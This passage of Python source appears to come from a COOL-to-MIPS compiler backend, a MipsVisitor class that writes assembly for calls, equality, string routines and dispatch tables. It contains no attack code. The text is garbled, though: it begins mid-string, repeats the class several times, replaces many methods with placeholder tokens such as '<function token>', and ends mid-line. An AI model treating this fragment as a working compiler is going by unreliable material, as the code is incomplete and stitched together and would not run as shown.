self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.VCall)\n def visit(self, node: cil.VCall):\n self.write_file('# VCALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n if node.ttype[0] == '_':\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n else:\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n self.write_file(f'mulu $a2, $a2, 8')\n self.write_file(f'addu $a2, $a2, $s0')\n self.write_file(f'lw $a1, 0($a2)')\n self.write_file(f'lw $a2, 8($a1)')\n self.write_file(f'lw $a0 {node.f * 4}($a2)')\n self.write_file(f'jalr $a0')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n if node.ttype[0] != '_':\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n else:\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.PushParam)\n def visit(self, node: cil.PushParam):\n self.write_file('# PUSHPARAM')\n if node.name[0] != '_':\n self.write_file('li $a0, {}'.format(self.type_index.index(node.\n name)))\n else:\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.name]))\n self.push()\n self.write_file('')\n\n @visitor.when(cil.PopParam)\n def visit(self, node: cil.PopParam):\n self.write_file('# POPPARAM')\n self.pop(node.name)\n self.write_file('')\n\n @visitor.when(cil.Return)\n def visit(self, node: cil.Return):\n self.write_file('# RETURN')\n self.write_file('lw $v0, {}($fp)'.format(self.offset[node.value]))\n\n @visitor.when(cil.Label)\n def visit(self, node: cil.Label):\n self.write_file('_cil_label_{}:'.format(node.name), tabbed=False)\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n def object_copy(self):\n self.write_file('function_Object_copy:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $t0 12($fp)')\n self.write_file('lw $a0 4($t0)')\n self.write_file('move $t4 $a0')\n self.write_file('li $v0 9')\n self.write_file('syscall')\n self.write_file('move $t2 $v0')\n self.write_file('li $t3 0')\n self.write_file('_objcopy_loop:', tabbed=False)\n self.write_file('lw $t1 0($t0)')\n self.write_file('sw $t1 0($v0)')\n self.write_file('addiu $t0 $t0 4')\n self.write_file('addiu $v0 $v0 4')\n self.write_file('addiu $t3 $t3 4')\n self.write_file('ble $t4 $t3 _objcopy_loop')\n self.write_file('_objcopy_div_end_:', tabbed=False)\n self.write_file('move $v0 $t2')\n self.write_file('jr $ra')\n self.write_file('')\n\n def object_typename(self):\n self.write_file('function_Object_type_name:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a1 0($a1)')\n self.write_file('mulu $a1 $a1 4')\n self.write_file('addu $a1 $a1 $s1')\n self.write_file('lw $a1 0($a1)')\n self.write_file('move $a2 $0')\n self.write_file('move $t2 $a1')\n self.write_file('_str_len_clsname_:', tabbed=False)\n self.write_file('lb $a0 0($t2)')\n self.write_file('beq $a0 $0 _end_clsname_len_')\n self.write_file('addiu $a2 $a2 1')\n self.write_file('addiu $t2 $t2 1')\n self.write_file('j _str_len_clsname_')\n self.write_file('_end_clsname_len_:', tabbed=False)\n self.write_file('sw $a2, 12($v0)')\n self.write_file('sw $v0, 12($v1)')\n self.write_file('sw $a1, 16($v1)')\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_length(self):\n self.write_file('function_String_length:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 12($fp)')\n self.write_file('lw $v0 12($a0)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_concat(self):\n self.write_file('function_String_concat:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $t3 $v0')\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a2 16($fp)')\n self.write_file('lw $t1 12($a1)')\n self.write_file('lw $t1 12($t1)')\n self.write_file('lw $t2 12($a2)')\n self.write_file('lw $t2 12($t2)')\n self.write_file('addu $t0 $t2 $t1')\n self.write_file('sw $t0 12($v1)')\n self.write_file('lw $a1 16($a1)')\n self.write_file('lw $a2 16($a2)')\n self.write_file('addiu $t0 $t0 1')\n self.allocate_memory('$t0', register=True)\n self.write_file('move $t5 $v0')\n self.write_file('move $t4 $a1')\n self.write_file('addu $a1 $a1 $t1')\n self.write_file('_strcat_copy_:', tabbed=False)\n self.write_file('beq $t4 $a1 _end_strcat_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_')\n self.write_file('_end_strcat_copy_:', tabbed=False)\n self.write_file('move $t4 $a2')\n self.write_file('addu $a2 $a2 $t2')\n self.write_file('_strcat_copy_snd_:', tabbed=False)\n self.write_file('beq $t4 $a2 _end_strcat_copy_snd_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_snd_')\n self.write_file('_end_strcat_copy_snd_:', tabbed=False)\n self.write_file('sb $0 0($t5)')\n self.write_file('sw $v1 12($t3)')\n self.write_file('sw $v0 16($t3)')\n self.write_file('move $v0 $t3')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_substr(self):\n self.write_file('function_String_substr:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t5 12($fp)')\n self.write_file(f'lw $a1 16($fp)')\n self.write_file(f'lw $a1 12($a1)')\n self.write_file(f'lw $a2 20($fp)')\n self.write_file(f'lw $a2 12($a2)')\n self.write_file(f'blt $a1 $0 _index_negative')\n self.write_file(f'blt $a2 $0 _index_negative')\n self.write_file(f'add $a2 $a1 $a2')\n self.write_file(f'lw $a3 12($t5)')\n self.write_file(f'lw $a3 12($a3)')\n self.write_file(f'bgt $a2 $a3 _index_out')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file(f'move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file(f'move $t0 $v0')\n self.write_file(f'move $t7 $a2')\n self.write_file(f'subu $t7 $t7 $a1')\n self.write_file(f'sw $t7 12($t0)')\n self.allocate_memory('$a2', register=True)\n self.write_file(f'sw $t0 12($v1)')\n self.write_file(f'sw $v0 16($v1)')\n self.write_file('move $t1 $v0')\n self.write_file('lw $t5 16($t5)')\n self.write_file('move $t4 $t5')\n self.write_file('addu $t4 $t4 $a1')\n self.write_file('addu $t5 $t5 $a2')\n self.write_file('_substr_copy_:', tabbed=False)\n self.write_file('bge $t4 $t5 _end_substr_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t1)')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _substr_copy_')\n self.write_file(f'_index_negative:', tabbed=False)\n self.write_file(f'la $a0 _index_negative_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_index_out:', tabbed=False)\n self.write_file(f'la $a0 _index_out_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_subst_abort:', tabbed=False)\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file('la\\t$a0 _abort_msg')\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file(f'li $v0 10')\n self.write_file(f'syscall')\n self.write_file('_end_substr_copy_:', tabbed=False)\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n <function token>\n <function token>\n\n def io_out_int(self):\n self.write_file('function_IO_out_int:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 16($fp)')\n self.write_file('lw $a0 12($a0)')\n self.write_file('li $v0 1')\n self.write_file('syscall')\n self.write_file('lw $v0 12($fp)')\n self.write_file('jr $ra')\n self.write_file('')\n <function token>\n <function token>\n\n def isvoid(self):\n self.write_file(f'function_{ISVOID_FUNC}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=BOOLEAN_CLASS))\n self.write_file(f'lw $t0 12($fp)')\n self.write_file(f'la $t1 {VOID_MIPS_NAME}')\n self.write_file(f'beq $t0 $t1 _is_void_true_')\n self.write_file(f'sw $0 12($v0)')\n self.write_file(f'j _is_void_end_')\n self.write_file(f'_is_void_true_:', tabbed=False)\n self.write_file(f'li $t0 1')\n self.write_file(f'sw $t0 12($v0)')\n self.write_file(f'_is_void_end_:', tabbed=False)\n self.write_file(f'jr $ra')\n self.write_file(f'')\n",
"<docstring token>\n<import token>\n<code token>\n<import token>\n\n\nclass MipsVisitor:\n <docstring token>\n\n def __init__(self, inherit_graph, output_file='mips_code.mips'):\n self.inherit_graph, _ = inherit_graph\n self.offset = dict()\n self.type_index = []\n self.dispatchtable_code = []\n self.prototypes_code = []\n self.cur_labels_id = 0\n self.output_file = output_file\n <function token>\n <function token>\n\n def write_file(self, msg, mode='a', tabbed=True):\n f = open(self.output_file, mode)\n f.write('{}{}\\n'.format('\\t' if tabbed else '', msg))\n f.close()\n\n def allocate_memory(self, size=None, register=False):\n if register:\n self.write_file('move $a0 {}'.format(size))\n elif size:\n self.write_file('li $a0 {}'.format(size))\n self.write_file('li $v0 9')\n self.write_file('syscall')\n <function token>\n <function token>\n\n @visitor.when(cil.Program)\n def visit(self, node: cil.Program):\n self.write_file('', 'w')\n self.write_file('.data', tabbed=False)\n self.static_datas()\n for data in node.data_section:\n self.visit(data)\n self.write_file('')\n for i in range(len(node.type_section)):\n self.type_index.append(node.type_section[i].type_name)\n self.write_file('classname_{}: .asciiz \"{}\"'.format(node.\n type_section[i].type_name, node.type_section[i].type_name))\n self.write_file(f'{VOID_MIPS_NAME}: .asciiz \"\"')\n self.write_file('\\n.text')\n self.entry()\n self.write_file('\\n########## STATIC FUNCTIONS ##########\\n')\n self.conforms()\n self.isvoid()\n self.object_abort()\n self.object_copy()\n self.object_typename()\n self.string_length()\n self.string_concat()\n self.string_substr()\n self.io_in_int()\n self.io_in_string()\n self.io_out_int()\n self.io_out_string()\n for t in node.type_section:\n self.visit(t)\n self.write_file('\\n############## TABLES ################\\n')\n self.write_file('function_build_class_name_table:', tabbed=False)\n self.allocate_memory(len(node.type_section) * 4)\n self.write_file('move $s1 $v0')\n for i in range(len(node.type_section)):\n self.write_file('la $t1 classname_{}'.format(node.type_section[\n i].type_name))\n self.write_file('sw $t1 {}($s1)'.format(4 * i))\n self.write_file('')\n self.write_file('function_allocate_prototypes_table:', tabbed=False)\n self.allocate_memory(8 * len(self.type_index))\n self.write_file('move $s0 $v0')\n self.write_file('')\n self.write_file('function_build_prototypes:', tabbed=False)\n for ins in self.prototypes_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_dispatch_tables:', tabbed=False)\n for ins in self.dispatchtable_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_class_parents_table:', tabbed=False)\n self.allocate_memory(4 * len(self.type_index))\n self.write_file('move $s2 $v0')\n self.write_file('')\n for parent in self.inherit_graph.keys():\n p_index = self.type_index.index(parent)\n for child in self.inherit_graph[parent]:\n ch_index = self.type_index.index(child.name)\n self.write_file(f'li $t0 {ch_index}')\n self.write_file(f'mul $t0 $t0 4')\n self.write_file(f'add $t0 $t0 $s2')\n self.write_file(f'li $t1 {p_index}')\n self.write_file(f'sw $t1 0($t0)')\n self.write_file('')\n self.write_file('')\n self.write_file('\\n########### COOL FUNCTIONS ##########\\n')\n for func in node.code_section:\n is_built_in = False\n if not INIT_CIL_SUFFIX in func.name:\n is_built_in = [x for x in BUILT_IN_CLASSES if f'{x}_' in\n func.name] != []\n if not is_built_in:\n self.visit(func)\n self.write_file('\\n#####################################\\n')\n <function token>\n\n @visitor.when(cil.Type)\n def visit(self, node: cil.Type):\n self.dispatchtable_code.append(f'# Type {node.type_name}')\n self.dispatchtable_code.append('li $a0 {}'.format(4 * len(node.\n methods)))\n self.dispatchtable_code.append('li $v0 9')\n self.dispatchtable_code.append('syscall')\n for i in range(len(node.methods)):\n self.dispatchtable_code.append('la $t1 function_{}'.format(node\n .methods[i].function_name))\n self.dispatchtable_code.append('sw $t1 {}($v0)'.format(4 * i))\n self.dispatchtable_code.append('lw $t0 {}($s0)'.format(8 * self.\n type_index.index(node.type_name)))\n self.dispatchtable_code.append('sw $v0 8($t0)')\n self.dispatchtable_code.append('')\n self.prototypes_code.append(f'# Type {node.type_name}')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('li $v0 9')\n self.prototypes_code.append('syscall')\n class_index = self.type_index.index(node.type_name)\n self.prototypes_code.append('li $a0 {}'.format(class_index))\n self.prototypes_code.append('sw $a0 0($v0)')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('sw $a0 4($v0)')\n self.prototypes_code.append('sw $v0 {}($s0)'.format(8 * class_index))\n self.prototypes_code.append('')\n <function token>\n\n @visitor.when(cil.Assign)\n def visit(self, node: cil.Assign):\n self.write_file('# ASSIGN')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.source]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n <function token>\n <function token>\n <function token>\n <function token>\n\n @visitor.when(cil.Equal)\n def visit(self, node: cil.Equal):\n self.write_file('lw $t0 {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $t1 {}($fp)'.format(self.offset[node.right]))\n self.write_file(f'beq $t0 $zero _eq_false_{node.id}_')\n self.write_file(f'beq $t1 $zero _eq_false_{node.id}_')\n self.write_file('lw $a0 0($t0)')\n self.write_file('lw $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n INTEGER_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n BOOLEAN_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(STRING_CLASS))\n )\n self.write_file(f'bne $a0 $a2 _not_basic_type_{node.id}_')\n self.write_file(f'_eq_str_{node.id}_:', tabbed=False)\n self.write_file('lw\\t$t3 12($t0)')\n self.write_file('lw\\t$t3 12($t3)')\n self.write_file('lw\\t$t4, 12($t1)')\n self.write_file('lw\\t$t4, 12($t4)')\n self.write_file(f'bne $t3 $t4 _eq_false_{node.id}_')\n self.write_file(f'beq $t3 $0 _eq_true_{node.id}_')\n self.write_file('addu $t0 $t0 16')\n self.write_file('lw $t0 0($t0)')\n self.write_file('addu $t1 $t1 16')\n self.write_file('lw $t1 0($t1)')\n self.write_file('move $t2 $t3')\n self.write_file(f'_verify_ascii_sequences_{node.id}_:', tabbed=False)\n self.write_file('lb $a0 0($t0)')\n self.write_file('lb $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('addu $t0 $t0 1')\n self.write_file('addu $t1 $t1 1')\n self.write_file('addiu $t2 $t2 -1')\n self.write_file(f'bnez $t2 _verify_ascii_sequences_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_not_basic_type_{node.id}_:', tabbed=False)\n self.write_file(f'bne $t0 $t1 _eq_false_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_eq_int_bool_{node.id}:', tabbed=False)\n self.write_file('lw $a3 12($t0)')\n self.write_file('lw $t4 12($t1)')\n self.write_file(f'bne $a3 $t4 _eq_false_{node.id}_')\n self.write_file(f'_eq_true_{node.id}_:', tabbed=False)\n self.write_file('li $a0 1')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'b end_equal_{node.id}_')\n self.write_file(f'_eq_false_{node.id}_:', tabbed=False)\n self.write_file('li $a0 0')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'end_equal_{node.id}_:', tabbed=False)\n <function token>\n\n @visitor.when(cil.EqualOrLessThan)\n def visit(self, node: cil.EqualOrLessThan):\n self.write_file('# <=')\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a2, {}($fp)'.format(self.offset[node.right]))\n self.write_file('sle $a0, $a1, $a2'.format(self.offset[node.right]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.GetAttrib)\n def visit(self, node: cil.GetAttrib):\n self.write_file('# GETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.SetAttrib)\n def visit(self, node: cil.SetAttrib):\n self.write_file('# SETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n if isinstance(node.src, int):\n self.write_file(f'li $a0, {node.src}')\n elif node.src[:5] == 'data_':\n self.write_file(f'la $a0, {node.src}')\n else:\n self.write_file(f'lw $a0 {self.offset[node.src]}($fp)')\n self.write_file(f'sw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file('')\n\n @visitor.when(cil.TypeOf)\n def visit(self, node: cil.TypeOf):\n self.write_file('# TYPEOF')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 0($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n <function token>\n\n @visitor.when(cil.Call)\n def visit(self, node: cil.Call):\n self.write_file('# CALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n self.write_file(f'jal function_{node.f}')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n if node.dest:\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.VCall)\n def visit(self, node: cil.VCall):\n self.write_file('# VCALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n if node.ttype[0] == '_':\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n else:\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n self.write_file(f'mulu $a2, $a2, 8')\n self.write_file(f'addu $a2, $a2, $s0')\n self.write_file(f'lw $a1, 0($a2)')\n self.write_file(f'lw $a2, 8($a1)')\n self.write_file(f'lw $a0 {node.f * 4}($a2)')\n self.write_file(f'jalr $a0')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n if node.ttype[0] != '_':\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n else:\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.PushParam)\n def visit(self, node: cil.PushParam):\n self.write_file('# PUSHPARAM')\n if node.name[0] != '_':\n self.write_file('li $a0, {}'.format(self.type_index.index(node.\n name)))\n else:\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.name]))\n self.push()\n self.write_file('')\n\n @visitor.when(cil.PopParam)\n def visit(self, node: cil.PopParam):\n self.write_file('# POPPARAM')\n self.pop(node.name)\n self.write_file('')\n\n @visitor.when(cil.Return)\n def visit(self, node: cil.Return):\n self.write_file('# RETURN')\n self.write_file('lw $v0, {}($fp)'.format(self.offset[node.value]))\n\n @visitor.when(cil.Label)\n def visit(self, node: cil.Label):\n self.write_file('_cil_label_{}:'.format(node.name), tabbed=False)\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n def object_copy(self):\n self.write_file('function_Object_copy:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $t0 12($fp)')\n self.write_file('lw $a0 4($t0)')\n self.write_file('move $t4 $a0')\n self.write_file('li $v0 9')\n self.write_file('syscall')\n self.write_file('move $t2 $v0')\n self.write_file('li $t3 0')\n self.write_file('_objcopy_loop:', tabbed=False)\n self.write_file('lw $t1 0($t0)')\n self.write_file('sw $t1 0($v0)')\n self.write_file('addiu $t0 $t0 4')\n self.write_file('addiu $v0 $v0 4')\n self.write_file('addiu $t3 $t3 4')\n self.write_file('ble $t4 $t3 _objcopy_loop')\n self.write_file('_objcopy_div_end_:', tabbed=False)\n self.write_file('move $v0 $t2')\n self.write_file('jr $ra')\n self.write_file('')\n\n def object_typename(self):\n self.write_file('function_Object_type_name:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a1 0($a1)')\n self.write_file('mulu $a1 $a1 4')\n self.write_file('addu $a1 $a1 $s1')\n self.write_file('lw $a1 0($a1)')\n self.write_file('move $a2 $0')\n self.write_file('move $t2 $a1')\n self.write_file('_str_len_clsname_:', tabbed=False)\n self.write_file('lb $a0 0($t2)')\n self.write_file('beq $a0 $0 _end_clsname_len_')\n self.write_file('addiu $a2 $a2 1')\n self.write_file('addiu $t2 $t2 1')\n self.write_file('j _str_len_clsname_')\n self.write_file('_end_clsname_len_:', tabbed=False)\n self.write_file('sw $a2, 12($v0)')\n self.write_file('sw $v0, 12($v1)')\n self.write_file('sw $a1, 16($v1)')\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_length(self):\n self.write_file('function_String_length:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 12($fp)')\n self.write_file('lw $v0 12($a0)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_concat(self):\n self.write_file('function_String_concat:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $t3 $v0')\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a2 16($fp)')\n self.write_file('lw $t1 12($a1)')\n self.write_file('lw $t1 12($t1)')\n self.write_file('lw $t2 12($a2)')\n self.write_file('lw $t2 12($t2)')\n self.write_file('addu $t0 $t2 $t1')\n self.write_file('sw $t0 12($v1)')\n self.write_file('lw $a1 16($a1)')\n self.write_file('lw $a2 16($a2)')\n self.write_file('addiu $t0 $t0 1')\n self.allocate_memory('$t0', register=True)\n self.write_file('move $t5 $v0')\n self.write_file('move $t4 $a1')\n self.write_file('addu $a1 $a1 $t1')\n self.write_file('_strcat_copy_:', tabbed=False)\n self.write_file('beq $t4 $a1 _end_strcat_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_')\n self.write_file('_end_strcat_copy_:', tabbed=False)\n self.write_file('move $t4 $a2')\n self.write_file('addu $a2 $a2 $t2')\n self.write_file('_strcat_copy_snd_:', tabbed=False)\n self.write_file('beq $t4 $a2 _end_strcat_copy_snd_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_snd_')\n self.write_file('_end_strcat_copy_snd_:', tabbed=False)\n self.write_file('sb $0 0($t5)')\n self.write_file('sw $v1 12($t3)')\n self.write_file('sw $v0 16($t3)')\n self.write_file('move $v0 $t3')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_substr(self):\n self.write_file('function_String_substr:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t5 12($fp)')\n self.write_file(f'lw $a1 16($fp)')\n self.write_file(f'lw $a1 12($a1)')\n self.write_file(f'lw $a2 20($fp)')\n self.write_file(f'lw $a2 12($a2)')\n self.write_file(f'blt $a1 $0 _index_negative')\n self.write_file(f'blt $a2 $0 _index_negative')\n self.write_file(f'add $a2 $a1 $a2')\n self.write_file(f'lw $a3 12($t5)')\n self.write_file(f'lw $a3 12($a3)')\n self.write_file(f'bgt $a2 $a3 _index_out')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file(f'move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file(f'move $t0 $v0')\n self.write_file(f'move $t7 $a2')\n self.write_file(f'subu $t7 $t7 $a1')\n self.write_file(f'sw $t7 12($t0)')\n self.allocate_memory('$a2', register=True)\n self.write_file(f'sw $t0 12($v1)')\n self.write_file(f'sw $v0 16($v1)')\n self.write_file('move $t1 $v0')\n self.write_file('lw $t5 16($t5)')\n self.write_file('move $t4 $t5')\n self.write_file('addu $t4 $t4 $a1')\n self.write_file('addu $t5 $t5 $a2')\n self.write_file('_substr_copy_:', tabbed=False)\n self.write_file('bge $t4 $t5 _end_substr_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t1)')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _substr_copy_')\n self.write_file(f'_index_negative:', tabbed=False)\n self.write_file(f'la $a0 _index_negative_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_index_out:', tabbed=False)\n self.write_file(f'la $a0 _index_out_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_subst_abort:', tabbed=False)\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file('la\\t$a0 _abort_msg')\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file(f'li $v0 10')\n self.write_file(f'syscall')\n self.write_file('_end_substr_copy_:', tabbed=False)\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n <function token>\n <function token>\n\n def io_out_int(self):\n self.write_file('function_IO_out_int:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 16($fp)')\n self.write_file('lw $a0 12($a0)')\n self.write_file('li $v0 1')\n self.write_file('syscall')\n self.write_file('lw $v0 12($fp)')\n self.write_file('jr $ra')\n self.write_file('')\n <function token>\n <function token>\n <function token>\n",
"<docstring token>\n<import token>\n<code token>\n<import token>\n\n\nclass MipsVisitor:\n <docstring token>\n\n def __init__(self, inherit_graph, output_file='mips_code.mips'):\n self.inherit_graph, _ = inherit_graph\n self.offset = dict()\n self.type_index = []\n self.dispatchtable_code = []\n self.prototypes_code = []\n self.cur_labels_id = 0\n self.output_file = output_file\n <function token>\n <function token>\n\n def write_file(self, msg, mode='a', tabbed=True):\n f = open(self.output_file, mode)\n f.write('{}{}\\n'.format('\\t' if tabbed else '', msg))\n f.close()\n\n def allocate_memory(self, size=None, register=False):\n if register:\n self.write_file('move $a0 {}'.format(size))\n elif size:\n self.write_file('li $a0 {}'.format(size))\n self.write_file('li $v0 9')\n self.write_file('syscall')\n <function token>\n <function token>\n\n @visitor.when(cil.Program)\n def visit(self, node: cil.Program):\n self.write_file('', 'w')\n self.write_file('.data', tabbed=False)\n self.static_datas()\n for data in node.data_section:\n self.visit(data)\n self.write_file('')\n for i in range(len(node.type_section)):\n self.type_index.append(node.type_section[i].type_name)\n self.write_file('classname_{}: .asciiz \"{}\"'.format(node.\n type_section[i].type_name, node.type_section[i].type_name))\n self.write_file(f'{VOID_MIPS_NAME}: .asciiz \"\"')\n self.write_file('\\n.text')\n self.entry()\n self.write_file('\\n########## STATIC FUNCTIONS ##########\\n')\n self.conforms()\n self.isvoid()\n self.object_abort()\n self.object_copy()\n self.object_typename()\n self.string_length()\n self.string_concat()\n self.string_substr()\n self.io_in_int()\n self.io_in_string()\n self.io_out_int()\n self.io_out_string()\n for t in node.type_section:\n self.visit(t)\n self.write_file('\\n############## TABLES ################\\n')\n self.write_file('function_build_class_name_table:', tabbed=False)\n self.allocate_memory(len(node.type_section) * 4)\n self.write_file('move $s1 $v0')\n for i in range(len(node.type_section)):\n self.write_file('la $t1 classname_{}'.format(node.type_section[\n i].type_name))\n self.write_file('sw $t1 {}($s1)'.format(4 * i))\n self.write_file('')\n self.write_file('function_allocate_prototypes_table:', tabbed=False)\n self.allocate_memory(8 * len(self.type_index))\n self.write_file('move $s0 $v0')\n self.write_file('')\n self.write_file('function_build_prototypes:', tabbed=False)\n for ins in self.prototypes_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_dispatch_tables:', tabbed=False)\n for ins in self.dispatchtable_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_class_parents_table:', tabbed=False)\n self.allocate_memory(4 * len(self.type_index))\n self.write_file('move $s2 